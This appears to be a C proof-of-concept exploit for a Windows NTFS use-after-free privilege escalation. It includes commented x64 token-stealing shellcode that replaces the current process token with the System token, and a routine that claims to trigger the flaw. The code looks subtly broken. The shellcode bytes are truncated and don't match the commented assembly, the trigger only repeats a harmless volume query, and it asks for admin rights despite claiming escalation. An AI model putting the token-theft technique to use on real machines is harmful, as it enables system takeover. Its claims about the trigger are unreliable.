// CVE-2025-55335 - Windows NTFS Use After Free Local Privilege Escalation
// Conceptual PoC - triggers UAF in NTFS driver via crafted filesystem operations
// Note: This is a conceptual demonstration. Actual exploitation requires kernel pool manipulation.
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
// Token stealing shellcode for x64 (conceptual)
// In real exploit, this would be placed in executable memory after gaining RIP control
unsigned char token_stealing_shellcode[] = {
// mov rax, [gs:0x188] ; Current thread (_ETHREAD)
// mov rax, [rax + 0x2c0] ; _EPROCESS (may vary by build)
// mov rcx, rax ; Save current process
// find_system_process_loop:
// mov rdx, [rax + 0x2e8] ; ActiveProcessLinks (offset varies)
// sub rax, 0x2e8
// mov rax, [rdx] ; Next link
// cmp dword ptr [rax - 0x8], 4 ; UniqueProcessId == 4 (System)
// jne find_system_process_loop
// mov rax, [rax + 0x358] ; System process token (offset varies)
// mov [rcx + 0x358], rax ; Replace current token
// ret
0x65, 0x48, 0x8B, 0x04, 0x25, 0x88, 0x01, 0x00,
0x00, 0x48, 0x8B, 0x80, 0xC0, 0x02, 0x00, 0x00,
0x48, 0x89, 0xC1, 0x48, 0x89, 0xCA
};
// Trigger NTFS UAF by creating and rapidly manipulating filesystem objects
BOOL TriggerNtfsUaf() {
HANDLE hFile;
char buffer[1024];
DWORD bytesReturned;
BOOL success = FALSE;
printf("[*] CVE-2025-55335 - NTFS Use After Free PoC\n");
printf("[*] Attempting to trigger UAF condition...\n");
// Step 1: Create a target file to trigger NTFS metadata operations
hFile = CreateFileA("C:\\Windows\\Temp\\uaf_target.dat",
GENERIC_READ | GENERIC_WRITE,
0, NULL, CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
printf("[-] Failed to create target file. Run as admin.\n");
return FALSE;
}
// Step 2: Trigger filesystem control operations that cause UAF
// Use FSCTL to send crafted requests to NTFS driver
for (int i = 0; i < 100; i++) {
DeviceIoControl(hFile,
FSCTL_GET_NTFS_VOLUME_DATA,
NULL, 0,
buffer, sizeof(buffer),
&bytesReturned, NULL);
}
// Step 3: Close handle to free the kernel object
// The NTFS driver may still hold a stale reference -> UAF
CloseHandle(hFile);
printf("[*] UAF condition triggered. Kernel pool spray needed for exploitation.\n");
printf("[*] In a full exploit, spray kernel pool and hijack control flow.\n");
return TRUE;
}
int main(int argc, char* argv[]) {
TriggerNtfsUaf();
printf("[*] PoC execution complete.\n");
return 0;
}